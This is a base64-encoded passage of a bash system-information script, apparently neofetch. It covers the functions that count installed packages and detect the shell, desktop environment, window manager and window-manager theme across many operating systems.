GlzdCAtaQogICAgICAgICAgICBoYXMgcHV5byAgICAmJiBkaXIgfi8ucHV5by9pbnN0YWxsZWQKCiAgICAgICAgICAgICMgU25hcCBoYW5ncyBpZiB0aGUgY29tbWFuZCBpcyBydW4gd2l0aG91dCB0aGUgZGFlbW9uIHJ1bm5pbmcuCiAgICAgICAgICAgICMgT25seSBydW4gc25hcCBpZiB0aGUgZGFlbW9uIGlzIGFsc28gcnVubmluZy4KICAgICAgICAgICAgaGFzIHNuYXAgJiYgcHMgLWUgfCBncmVwIC1xRm0gMSBzbmFwZCA+L2Rldi9udWxsICYmIFwKICAgICAgICAgICAgcGtnc19oPTEgdG90IHNuYXAgbGlzdCAmJiAoKHBhY2thZ2VzLT0xKSkKCiAgICAgICAgICAgICMgVGhpcyBpcyB0aGUgb25seSBzdGFuZGFyZCBsb2NhdGlvbiBmb3IgYXBwaW1hZ2VzLgogICAgICAgICAgICAjIFNlZTogaHR0cHM6Ly9naXRodWIuY29tL0FwcEltYWdlL0FwcEltYWdlS2l0L3dpa2kKICAgICAgICAgICAgbWFuYWdlcj1hcHBpbWFnZSAmJiBoYXMgYXBwaW1hZ2VkICYmIGRpciB+Ly5sb2NhbC9iaW4vKi5hcHBpbWFnZQogICAgICAgIDs7CgogICAgICAgICJNYWMgT1MgWCJ8Im1hY09TInxNSU5JWCkKICAgICAgICAgICAgaGFzIHBvcnQgICYmIHBrZ3NfaD0xIHRvdCBwb3J0IGluc3RhbGxlZCAmJiAoKHBhY2thZ2VzLT0xKSkKICAgICAgICAgICAgaGFzIGJyZXcgICYmIGRpciAiJChicmV3IC0tY2VsbGFyKS8qICQoYnJldyAtLWNhc2tyb29tKS8qIgogICAgICAgICAgICBoYXMgcGtnaW4gJiYgdG90IHBrZ2luIGxpc3QKICAgICAgICAgICAgaGFzIGRwa2cgICYmIHRvdCBkcGtnLXF1ZXJ5IC1mICcuXG4nIC1XCgogICAgICAgICAgICBoYXMgbml4LXN0b3JlICYmIHsKICAgICAgICAgICAgICAgIG5peC11c2VyLXBrZ3MoKSB7CiAgICAgICAgICAgICAgICAgICAgbml4LXN0b3JlIC1xUiB+Ly5uaXgtcHJvZmlsZQogICAgICAgICAgICAgICAgICAgIG5peC1zdG9yZSAtcVIgL2V0Yy9wcm9maWxlcy9wZXItdXNlci8iJFVTRVIiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBtYW5hZ2VyPW5peC1zeXN0ZW0gJiYgdG90IG5peC1zdG9yZSAtcVIgL3J1bi9jdXJyZW50LXN5c3RlbS9zdwogICAgICAgICAgICAgICAgbWFuYWdlcj1uaXgtdXNlciAgICYmIHRvdCBuaXgtdXNlci1wa2dzCiAgICAgICAgICAgIH0KICAgICAgICA7OwoKICAgICAgICBBSVh8RnJlZU1pTlQpCiAgICAgICAgICAgIGhhcyBsc2xwcCAmJiAoKHBhY2thZ2VzKz0kKGxzbHBwIC1KIC1sIC1xIHwgZ3JlcCAtY3YgJ14jJykpKQogICAgICAgICAgICBoYXMgcnBtICAgJiYgdG90IHJwbSAtcWEKICAgICAgICA7OwoKICAgICAgICBXaW5kb3dzKQogICAgICAgICAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgICAgICAgICAgQ1lHV0lOKikgaGFzIGN5Z2NoZWNrICYmIHRvdCBjeWdjaGVjayAtY2QgOzsKICAgICAgICAgICAgICAgIE1TWVMqKSAgIGhhcyBwYWNtYW4gICAmJiB0b3QgcGFjbWFuIC1RcSAtLWNvbG9yIG5ldmVyIDs7CiAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgICMgU2Nvb3AgZW52aXJvbm1lbnQgdGhyb3dzIGVycm9ycyBpZiBgdG90IHNjb29wIGxpc3RgIGlzIHVzZWQKICAgICAgICAgICAgaGFzIHNjb29wICYmIHBrZ3NfaD0xIGRpciB+L3Njb29wL2FwcHMvKiAmJiAoKHBhY2thZ2VzLT0xKSkKCiAgICAgICAgICAgICMgQ291bnQgY2hvY29sYXRleSBwYWNrYWdlcy4KICAgICAgICAgICAgW1sgLWQgL2N5Z2RyaXZlL2MvUHJvZ3JhbURhdGEvY2hvY29sYXRleS9saWIgXV0gJiYgXAogICAgICAgICAgICAgICAgZGlyIC9jeWdkcml2ZS9jL1Byb2dyYW1EYXRhL2Nob2NvbGF0ZXkvbGliLyoKICAgICAgICA7OwoKICAgICAgICBIYWlrdSkKICAgICAgICAgICAgaGFzIHBrZ21hbiAmJiBkaXIgL2Jvb3Qvc3lzdGVtL3BhY2thZ2UtbGlua3MvKgogICAgICAgICAgICBwYWNrYWdlcz0ke3BhY2thZ2VzL3BrZ21hbi9kZXBvdH0KICAgICAgICA7OwoKICAgICAgICBJUklYKQogICAgICAgICAgICBtYW5hZ2VyPXN3cGtnCiAgICAgICAgICAgIHBrZ3NfaD0zIHRvdCB2ZXJzaW9ucyAtYiAmJiAoKHBhY2thZ2VzLT0zKSkKICAgICAgICA7OwogICAgZXNhYwoKICAgIGlmICgocGFja2FnZXMgPT0gMCkpOyB0aGVuCiAgICAgICAgdW5zZXQgcGFja2FnZXMKCiAgICBlbGlmIFtbICRwYWNrYWdlX21hbmFnZXJzID09IG9uIF1dOyB0aGVuCiAgICAgICAgcHJpbnRmIC12IHBhY2thZ2VzICclcywgJyAiJHttYW5hZ2Vyc1tAXX0iCiAgICAgICAgcGFja2FnZXM9JHtwYWNrYWdlcyUsKn0KCiAgICBlbGlmIFtbICRwYWNrYWdlX21hbmFnZXJzID09IHRpbnkgXV07IHRoZW4KICAgICAgICBwYWNrYWdlcys9IiAoJHttYW5hZ2VyX3N0cmluZyUsKn0pIgogICAgZmkKCiAgICBwYWNrYWdlcz0ke3BhY2thZ2VzL3BhY21hbi1rZXkvcGFjbWFufQp9CgpnZXRfc2hlbGwoKSB7CiAgICBjYXNlICRzaGVsbF9wYXRoIGluCiAgICAgICAgb24pICBzaGVsbD0iJFNIRUxMICIgOzsKICAgICAgICBvZmYpIHNoZWxsPSIke1NIRUxMIyMqL30gIiA7OwogICAgZXNhYwoKICAgIFtbICRzaGVsbF92ZXJzaW9uICE9IG9uIF1dICYmIHJldHVybgoKICAgIGNhc2UgJHtzaGVsbF9uYW1lOj0ke1NIRUxMIyMqL319IGluCiAgICAgICAgYmFzaCkKICAgICAgICAgICAgW1sgJEJBU0hfVkVSU0lPTiBdXSB8fAogICAgICAgICAgICAgICAgQkFTSF9WRVJTSU9OPSQoIiRTSEVMTCIgLWMgInByaW50ZiAlcyBcIlwkQkFTSF9WRVJTSU9OXCIiKQoKICAgICAgICAgICAgc2hlbGwrPSR7QkFTSF9WRVJTSU9OLy0qfQogICAgICAgIDs7CgogICAgICAgIHNofGFzaHxkYXNofGVzKSA7OwoKICAgICAgICAqa3NoKQogICAgICAgICAgICBzaGVsbCs9JCgiJFNIRUxMIiAtYyAicHJpbnRmICVzIFwiXCRLU0hfVkVSU0lPTlwiIikKICAgICAgICAgICAgc2hlbGw9JHtzaGVsbC8gKiBLU0h9CiAgICAgICAgICAgIHNoZWxsPSR7c2hlbGwvdmVyc2lvbn0KICAgICAgICA7OwoKICAgICAgICBvc2gpCiAgICAgICAgICAgIGlmIFtbICRPSUxfVkVSU0lPTiBdXTsgdGhlbgogICAgICAgICAgICAgICAgc2hlbGwrPSRPSUxfVkVSU0lPTgogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBzaGVsbCs9JCgiJFNIRUxMIiAtYyAicHJpbnRmICVzIFwiXCRPSUxfVkVSU0lPTlwiIikKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICB0Y3NoKQogICAgICAgICAgICBzaGVsbCs9JCgiJFNIRUxMIiAtYyAicHJpbnRmICVzIFwkdGNzaCIpCiAgICAgICAgOzsKCiAgICAgICAgeWFzaCkKICAgICAgICAgICAgc2hlbGwrPSQoIiRTSEVMTCIgLS12ZXJzaW9uIDI+JjEpCiAgICAgICAgICAgIHNoZWxsPSR7c2hlbGwvICRzaGVsbF9uYW1lfQogICAgICAgICAgICBzaGVsbD0ke3NoZWxsLyBZZXQgYW5vdGhlciBzaGVsbH0KICAgICAgICAgICAgc2hlbGw9JHtzaGVsbC9Db3B5cmlnaHQqfQogICAgICAgIDs7CgogICAgICAgIG51KQogICAgICAgICAgICBzaGVsbCs9JCgiJFNIRUxMIiAtYyAidmVyc2lvbiB8IGdldCB2ZXJzaW9uIikKICAgICAgICAgICAgc2hlbGw9JHtzaGVsbC8gJHNoZWxsX25hbWV9CiAgICAgICAgOzsKCgogICAgICAgICopCiAgICAgICAgICAgIHNoZWxsKz0kKCIkU0hFTEwiIC0tdmVyc2lvbiAyPiYxKQogICAgICAgICAgICBzaGVsbD0ke3NoZWxsLyAkc2hlbGxfbmFtZX0KICAgICAgICA7OwogICAgZXNhYwoKICAgICMgUmVtb3ZlIHVud2FudGVkIGluZm8uCiAgICBzaGVsbD0ke3NoZWxsLywgdmVyc2lvbn0KICAgIHNoZWxsPSR7c2hlbGwveG9uc2hcLy94b25zaCB9CiAgICBzaGVsbD0ke3NoZWxsL29wdGlvbnMqfQogICAgc2hlbGw9JHtzaGVsbC9cKCpcKX0KfQoKZ2V0X2RlKCkgewogICAgIyBJZiBmdW5jdGlvbiB3YXMgcnVuLCBzdG9wIGhlcmUuCiAgICAoKGRlX3J1biA9PSAxKSkgJiYgcmV0dXJuCgogICAgY2FzZSAkb3MgaW4KICAgICAgICAiTWFjIE9TIFgifCJtYWNPUyIpIGRlPUFxdWEgOzsKCiAgICAgICAgV2luZG93cykKICAgICAgICAgICAgY2FzZSAkZGlzdHJvIGluCiAgICAgICAgICAgICAgICAqIldpbmRvd3MgMTAiKikKICAgICAgICAgICAgICAgICAgICBkZT1GbHVlbnQKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgKiJXaW5kb3dzIDgiKikKICAgICAgICAgICAgICAgICAgICBkZT1NZXRybwogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAqKQogICAgICAgICAgICAgICAgICAgIGRlPUFlcm8KICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgIGVzYWMKICAgICAgICA7OwoKICAgICAgICBGcmVlTWlOVCkKICAgICAgICAgICAgZnJlZW1pbnRfd209KC9wcm9jLyopCgogICAgICAgICAgICBjYXNlICR7ZnJlZW1pbnRfd21bKl19IGluCiAgICAgICAgICAgICAgICAqdGhpbmcqKSAgZGU9VGhpbmcgOzsKICAgICAgICAgICAgICAgICpqaW5uZWUqKSBkZT1KaW5uZWUgOzsKICAgICAgICAgICAgICAgICp0ZXJhKikgICBkZT1UZXJhZGVzayA7OwogICAgICAgICAgICAgICAgKm5lb2QqKSAgIGRlPU5lb0Rlc2sgOzsKICAgICAgICAgICAgICAgICp6ZGVzayopICBkZT16RGVzayA7OwogICAgICAgICAgICAgICAgKm1kZXNrKikgIGRlPW1EZXNrIDs7CiAgICAgICAgICAgIGVzYWMKICAgICAgICA7OwoKICAgICAgICAqKQogICAgICAgICAgICAoKHdtX3J1biAhPSAxKSkgJiYgZ2V0X3dtCgogICAgICAgICAgICAjIFRlbXBvcmFyeSBzdXBwb3J0IGZvciBSZWdvbGl0aCBMaW51eAogICAgICAgICAgICBpZiBbWyAkREVTS1RPUF9TRVNTSU9OID09ICpyZWdvbGl0aCBdXTsgdGhlbgogICAgICAgICAgICAgICAgZGU9UmVnb2xpdGgKCiAgICAgICAgICAgIGVsaWYgW1sgJFhER19DVVJSRU5UX0RFU0tUT1AgXV07IHRoZW4KICAgICAgICAgICAgICAgIGRlPSR7WERHX0NVUlJFTlRfREVTS1RPUC9YXC19CiAgICAgICAgICAgICAgICBkZT0ke2RlL0J1ZGdpZTpHTk9NRS9CdWRnaWV9CiAgICAgICAgICAgICAgICBkZT0ke2RlLzpVbml0eTc6dWJ1bnR1fQoKICAgICAgICAgICAgZWxpZiBbWyAkREVTS1RPUF9TRVNTSU9OIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBkZT0ke0RFU0tUT1BfU0VTU0lPTiMjKi99CgogICAgICAgICAgICBlbGlmIFtbICRHTk9NRV9ERVNLVE9QX1NFU1NJT05fSUQgXV07IHRoZW4KICAgICAgICAgICAgICAgIGRlPUdOT01FCgogICAgICAgICAgICBlbGlmIFtbICRNQVRFX0RFU0tUT1BfU0VTU0lPTl9JRCBdXTsgdGhlbgogICAgICAgICAgICAgICAgZGU9TUFURQoKICAgICAgICAgICAgZWxpZiBbWyAkVERFX0ZVTExfU0VTU0lPTiBdXTsgdGhlbgogICAgICAgICAgICAgICAgZGU9VHJpbml0eQogICAgICAgICAgICBmaQoKICAgICAgICAgICAgIyBXaGVuIGEgd2luZG93IG1hbmFnZXIgaXMgc3RhcnRlZCBmcm9tIGEgZGlzcGxheSBtYW5hZ2VyCiAgICAgICAgICAgICMgdGhlIGRlc2t0b3AgdmFyaWFibGVzIGFyZSBzb21ldGltZXMgYWxzbyBzZXQgdG8gdGhlCiAgICAgICAgICAgICMgd2luZG93IG1hbmFnZXIgbmFtZS4gVGhpcyBjaGVja3MgdG8gc2VlIGlmIFdNID09IERFCiAgICAgICAgICAgICMgYW5kIGRpc2NhcmRzIHRoZSBERSB2YWx1ZS4KICAgICAgICAgICAgW1sgJGRlID09ICIkd20iIF1dICYmIHsgdW5zZXQgLXYgZGU7IHJldHVybjsgfQogICAgICAgIDs7CiAgICBlc2FjCgogICAgIyBGYWxsYmFjayB0byB1c2luZyB4cHJvcC4KICAgIFtbICRESVNQTEFZICYmIC16ICRkZSBdXSAmJiB0eXBlIC1wIHhwcm9wICY+L2Rldi9udWxsICYmIFwKICAgICAgICBkZT0kKHhwcm9wIC1yb290IHwgYXdrICcvS0RFX1NFU1NJT05fVkVSU0lPTnxeX01VRkZJTnx4ZmNlNHx4ZmNlNS8nKQoKICAgICMgRm9ybWF0IHN0cmluZ3MuCiAgICBjYXNlICRkZSBpbgogICAgICAgIEtERV9TRVNTSU9OX1ZFUlNJT04qKSBkZT1LREUke2RlLyogPSB9IDs7CiAgICAgICAgKnhmY2U0KikgIGRlPVhmY2U0IDs7CiAgICAgICAgKnhmY2U1KikgIGRlPVhmY2U1IDs7CiAgICAgICAgKnhmY2UqKSAgIGRlPVhmY2UgOzsKICAgICAgICAqbWF0ZSopICAgZGU9TUFURSA7OwogICAgICAgICpHTk9NRSopICBkZT1HTk9NRSA7OwogICAgICAgICpNVUZGSU4qKSBkZT1DaW5uYW1vbiA7OwogICAgZXNhYwoKICAgICgoJHtLREVfU0VTU0lPTl9WRVJTSU9OOi0wfSA+PSA0KSkgJiYgZGU9JHtkZS9LREUvUGxhc21hfQoKICAgIGlmIFtbICRkZV92ZXJzaW9uID09IG9uICYmICRkZSBdXTsgdGhlbgogICAgICAgIGNhc2UgJGRlIGluCiAgICAgICAgICAgIFBsYXNtYSopICAgZGVfdmVyPSQocGxhc21hc2hlbGwgLS12ZXJzaW9uKSA7OwogICAgICAgICAgICBNQVRFKikgICAgIGRlX3Zlcj0kKG1hdGUtc2Vzc2lvbiAtLXZlcnNpb24pIDs7CiAgICAgICAgICAgIFhmY2UqKSAgICAgZGVfdmVyPSQoeGZjZTQtc2Vzc2lvbiAtLXZlcnNpb24pIDs7CiAgICAgICAgICAgIEdOT01FKikgICAgZGVfdmVyPSQoZ25vbWUtc2hlbGwgLS12ZXJzaW9uKSA7OwogICAgICAgICAgICBDaW5uYW1vbiopIGRlX3Zlcj0kKGNpbm5hbW9uIC0tdmVyc2lvbikgOzsKICAgICAgICAgICAgRGVlcGluKikgICBkZV92ZXI9JChhd2sgLUYnPScgJy9NYWpvclZlcnNpb24vIHtwcmludCAkMn0nIC9ldGMvb3MtdmVyc2lvbikgOzsKICAgICAgICAgICAgQnVkZ2llKikgICBkZV92ZXI9JChidWRnaWUtZGVza3RvcCAtLXZlcnNpb24pIDs7CiAgICAgICAgICAgIExYUXQqKSAgICAgZGVfdmVyPSQobHhxdC1zZXNzaW9uIC0tdmVyc2lvbikgOzsKICAgICAgICAgICAgTHVtaW5hKikgICBkZV92ZXI9JChsdW1pbmEtZGVza3RvcCAtLXZlcnNpb24gMj4mMSkgOzsKICAgICAgICAgICAgVHJpbml0eSopICBkZV92ZXI9JCh0ZGUtY29uZmlnIC0tdmVyc2lvbikgOzsKICAgICAgICAgICAgVW5pdHkqKSAgICBkZV92ZXI9JCh1bml0eSAtLXZlcnNpb24pIDs7CiAgICAgICAgZXNhYwoKICAgICAgICBkZV92ZXI9JHtkZV92ZXIvKlRERTp9CiAgICAgICAgZGVfdmVyPSR7ZGVfdmVyL3RkZS1jb25maWcqfQogICAgICAgIGRlX3Zlcj0ke2RlX3Zlci9saWJseHF0Kn0KICAgICAgICBkZV92ZXI9JHtkZV92ZXIvQ29weXJpZ2h0Kn0KICAgICAgICBkZV92ZXI9JHtkZV92ZXIvKSp9CiAgICAgICAgZGVfdmVyPSR7ZGVfdmVyLyogfQogICAgICAgIGRlX3Zlcj0ke2RlX3Zlci8vXCJ9CgogICAgICAgIGRlKz0iICRkZV92ZXIiCiAgICBmaQoKICAgICMgVE9ETzoKICAgICMgIC0gTmV3IGNvbmZpZyBvcHRpb24gKyBmbGFnOiAtLWRlX2Rpc3BsYXlfc2VydmVyIG9uL29mZiA/CiAgICAjICAtIEFkZCBkaXNwbGF5IG9mIFgxMSwgQXJjYW4gYW5kIGFueXRoaW5nIGVsc2UgcmVsZXZhbnQuCiAgICBbWyAkZGUgJiYgJFdBWUxBTkRfRElTUExBWSBdXSAmJgogICAgICAgIGRlKz0iIChXYXlsYW5kKSIKCiAgICBkZV9ydW49MQp9CgpnZXRfd20oKSB7CiAgICAjIElmIGZ1bmN0aW9uIHdhcyBydW4sIHN0b3AgaGVyZS4KICAgICgod21fcnVuID09IDEpKSAmJiByZXR1cm4KCiAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgICpPcGVuQlNEKikgcHNfZmxhZ3M9KHggLWMpIDs7CiAgICAgICAgKikgICAgICAgICBwc19mbGFncz0oLWUpIDs7CiAgICBlc2FjCgogICAgaWYgW1sgLU8gIiR7WERHX1JVTlRJTUVfRElSfS8ke1dBWUxBTkRfRElTUExBWTotd2F5bGFuZC0wfSIgXV07IHRoZW4KICAgICAgICBpZiB0bXBfcGlkPSIkKGxzb2YgLXQgIiR7WERHX1JVTlRJTUVfRElSfS8ke1dBWUxBTkRfRElTUExBWTotd2F5bGFuZC0wfSIgMj4mMSkiIHx8CiAgICAgICAgICAgdG1wX3BpZD0iJChmdXNlciAgICIke1hER19SVU5USU1FX0RJUn0vJHtXQVlMQU5EX0RJU1BMQVk6LXdheWxhbmQtMH0iIDI+JjEpIjsgdGhlbgogICAgICAgICAgICB3bT0iJChwcyAtcCAiJHt0bXBfcGlkfSIgLWhvIGNvbW09KSIKICAgICAgICBlbHNlCiAgICAgICAgICAgICMgbHNvZiBtYXkgbm90IGV4aXN0LCBvciBtYXkgbmVlZCByb290IG9uIHNvbWUgc3lzdGVtcy4gU2ltaWxhcmx5IGZ1c2VyLgogICAgICAgICAgICAjIE9uIHRob3NlIHN5c3RlbXMgd2Ugc2VhcmNoIGZvciBhIGxpc3Qgb2Yga25vd24gd2luZG93IG1hbmFnZXJzLCB0aGlzIGNhbiBtaXN0YWtlbmx5CiAgICAgICAgICAgICMgbWF0Y2ggcHJvY2Vzc2VzIGZvciBhbm90aGVyIHVzZXIgb3Igc2Vzc2lvbiBhbmQgd2lsbCBtaXNzIHVubGlzdGVkIHdpbmRvdyBtYW5hZ2Vycy4KICAgICAgICAgICAgd209JChwcyAiJHtwc19mbGFnc1tAXX0iIHwgZ3JlcCAtbSAxIC1vIC1GIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIGFyY2FuIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIGFzYyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSBjbGF5bGFuZCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSBkd2MgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgZmlyZXBsYWNlIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIGdub21lLXNoZWxsIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIGdyZWVuZmllbGQgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgZ3JlZnNlbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSBoaWthcmkgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUga3dpbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSBsaXBzdGljayBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSBtYXluYXJkIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIG1hemVjb21wb3NpdG9yIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIG1vdG9yY2FyIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIG9yYml0YWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgb3JibWVudCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSBwZXJjZXB0aWEgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgcml2ZXIgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgcnVzdGxhbmQgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgc3dheSBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSB1bHViaXMgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgdmVsb3ggXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgd2F2eSBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtZSB3YXktY29vbGVyIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lIHdheWZpcmUgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgd2F5aG91c2UgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgd2VzdGVyb3MgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgd2VzdGZvcmQgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgd2VzdG9uKQogICAgICAgIGZpCgogICAgZWxpZiBbWyAkRElTUExBWSAmJiAkb3MgIT0gIk1hYyBPUyBYIiAmJiAkb3MgIT0gIm1hY09TIiAmJiAkb3MgIT0gRnJlZU1pTlQgXV07IHRoZW4KICAgICAgICAjIG5vbi1FV01IIFdNcy4KICAgICAgICB3bT0kKHBzICIke3BzX2ZsYWdzW0BdfSIgfCBncmVwIC1tIDEgLW8gXAogICAgICAgICAgICAgICAgICAgICAgICAgICAtZSAiW3Ndb3dtIiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lICJbY11hdHdtIiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lICJbZl12d20iIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgIltkXXdtIiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lICJbMl1id20iIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgLWUgIlttXW9uc3RlcndtIiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgIC1lICJbdF1pbnl3bSIgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAtZSAiW3hdMTFmcyIgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAtZSAiW3hdbW9uYWQiKQoKICAgICAgICBbWyAteiAkd20gXV0gJiYgdHlwZSAtcCB4cHJvcCAmPi9kZXYvbnVsbCAmJiB7CiAgICAgICAgICAgIGlkPSQoeHByb3AgLXJvb3QgLW5vdHlwZSBfTkVUX1NVUFBPUlRJTkdfV01fQ0hFQ0spCiAgICAgICAgICAgIGlkPSR7aWQjIyogfQogICAgICAgICAgICB3bT0kKHhwcm9wIC1pZCAiJGlkIiAtbm90eXBlIC1sZW4gMTAwIC1mIF9ORVRfV01fTkFNRSA4dCkKICAgICAgICAgICAgd209JHt3bS8qV01fTkFNRSA9IH0KICAgICAgICAgICAgd209JHt3bS9cIn0KICAgICAgICAgICAgd209JHt3bS9cIip9CiAgICAgICAgfQoKICAgIGVsc2UKICAgICAgICBjYXNlICRvcyBpbgogICAgICAgICAgICAiTWFjIE9TIFgifCJtYWNPUyIpCiAgICAgICAgICAgICAgICBwc19saW5lPSQocHMgLWUgfCBncmVwIC1vIFwKICAgICAgICAgICAgICAgICAgICAtZSAiW1NdcGVjdGFjbGUiIFwKICAgICAgICAgICAgICAgICAgICAtZSAiW0FdbWV0aHlzdCIgXAogICAgICAgICAgICAgICAgICAgIC1lICJba113bSIgXAogICAgICAgICAgICAgICAgICAgIC1lICJbY11odW5ba113bSIgXAogICAgICAgICAgICAgICAgICAgIC1lICJbeV1hYmFpIiBcCiAgICAgICAgICAgICAgICAgICAgLWUgIltSXWVjdGFuZ2xlIikKCiAgICAgICAgICAgICAgICBjYXNlICRwc19saW5lIGluCiAgICAgICAgICAgICAgICAgICAgKmNodW5rd20qKSAgIHdtPWNodW5rd20gOzsKICAgICAgICAgICAgICAgICAgICAqa3dtKikgICAgICAgd209S3dtIDs7CiAgICAgICAgICAgICAgICAgICAgKnlhYmFpKikgICAgIHdtPXlhYmFpIDs7CiAgICAgICAgICAgICAgICAgICAgKkFtZXRoeXN0KikgIHdtPUFtZXRoeXN0IDs7CiAgICAgICAgICAgICAgICAgICAgKlNwZWN0YWNsZSopIHdtPVNwZWN0YWNsZSA7OwogICAgICAgICAgICAgICAgICAgICpSZWN0YW5nbGUqKSB3bT1SZWN0YW5nbGUgOzsKICAgICAgICAgICAgICAgICAgICAqKSAgICAgICAgICAgd209IlF1YXJ0eiBDb21wb3NpdG9yIiA7OwogICAgICAgICAgICAgICAgZXNhYwogICAgICAgICAgICA7OwoKICAgICAgICAgICAgV2luZG93cykKICAgICAgICAgICAgICAgIHdtPSQoCiAgICAgICAgICAgICAgICAgICAgdGFza2xpc3QgfAoKICAgICAgICAgICAgICAgICAgICBncmVwIC1Gb20gMSBcCiAgICAgICAgICAgICAgICAgICAgICAgICAtZSBidWduIFwKICAgICAgICAgICAgICAgICAgICAgICAgIC1lIFdpbmRhd2Vzb21lIFwKICAgICAgICAgICAgICAgICAgICAgICAgIC1lIGJsYWNrYm94IFwKICAgICAgICAgICAgICAgICAgICAgICAgIC1lIGVtZXJnZSBcCiAgICAgICAgICAgICAgICAgICAgICAgICAtZSBsaXRlc3RlcAogICAgICAgICAgICAgICAgKQoKICAgICAgICAgICAgICAgIFtbICR3bSA9PSBibGFja2JveCBdXSAmJgogICAgICAgICAgICAgICAgICAgIHdtPSJiYkxlYW4gKEJsYWNrYm94KSIKCiAgICAgICAgICAgICAgICB3bT0ke3dtOiskd20sIH1EV00uZXhlCiAgICAgICAgICAgIDs7CgogICAgICAgICAgICBGcmVlTWlOVCkKICAgICAgICAgICAgICAgIGZyZWVtaW50X3dtPSgvcHJvYy8qKQoKICAgICAgICAgICAgICAgIGNhc2UgJHtmcmVlbWludF93bVsqXX0gaW4KICAgICAgICAgICAgICAgICAgICAqeGFhZXMqIHwgKnhhbG9hZGVyKikgd209WGFBRVMgOzsKICAgICAgICAgICAgICAgICAgICAqbXlhZXMqKSAgICAgICAgICAgICAgd209TXlBRVMgOzsKICAgICAgICAgICAgICAgICAgICAqbmFlcyopICAgICAgICAgICAgICAgd209Ti5BRVMgOzsKICAgICAgICAgICAgICAgICAgICBnZW5ldmEpICAgICAgICAgICAgICAgd209R2VuZXZhIDs7CiAgICAgICAgICAgICAgICAgICAgKikgICAgICAgICAgICAgICAgICAgIHdtPSJBdGFyaSBBRVMiIDs7CiAgICAgICAgICAgICAgICBlc2FjCiAgICAgICAgICAgIDs7CiAgICAgICAgZXNhYwogICAgZmkKCiAgICAjIFJlbmFtZSB3aW5kb3cgbWFuYWdlcnMgdG8gdGhlaXIgcHJvcGVyIHZhbHVlcy4KICAgIFtbICR3bSA9PSAqV0lORE9XTUFLRVIqIF1dICYmIHdtPXdtYWtlcgogICAgW1sgJHdtID09ICpHTk9NRSpTaGVsbCogXV0gJiYgd209TXV0dGVyCgogICAgd21fcnVuPTEKfQoKZ2V0X3dtX3RoZW1lKCkgewogICAgKCh3bV9ydW4gIT0gMSkpICYmIGdldF93bQogICAgKChkZV9ydW4gIT0gMSkpICYmIGdldF9kZQoKICAgIGNhc2UgJHdtICBpbgogICAgICAgIEUxNikKICAgICAgICAgICAgd21fdGhlbWU9JChhd2sgLUYgIj0gIiAnL3RoZW1lLm5hbWUvIHtwcmludCAkMn0nICIke0hPTUV9Ly5lMTYvZV9jb25maWctLTAuMC5jZmciKQogICAgICAgIDs7CgogICAgICAgIFNhd2Zpc2gpCiAgICAgICAgICAgIHdtX3RoZW1lPSQoYXdrIC1GICdcXChxdW90ZXxcXCknICcvZGVmYXVsdC1mcmFtZS1zdHlsZS8ge3ByaW50ICQoTkYtNCl9JyBcCiAgICAgICAgICAgICAgICAgICAgICAgIiRIT01FLy5zYXdmaXNoL2N1c3RvbSIpCiAgICAgICAgOzsKCiAgICAgICAgQ2lubmFtb258TXVmZmlufCJNdXR0ZXIgKE11ZmZpbikiKQogICAgICAgICAgICBkZXRoZW1lPSQoZ3NldHRpbmdzIGdldCBvcmcuY2lubmFtb24udGhlbWUgbmFtZSkKICAgICAgICAgICAgd21fdGhlbWU9JChnc2V0dGluZ3MgZ2V0IG9yZy5jaW5uYW1vbi5kZXNrdG9wLndtLnByZWZlcmVuY2VzIHRoZW1lK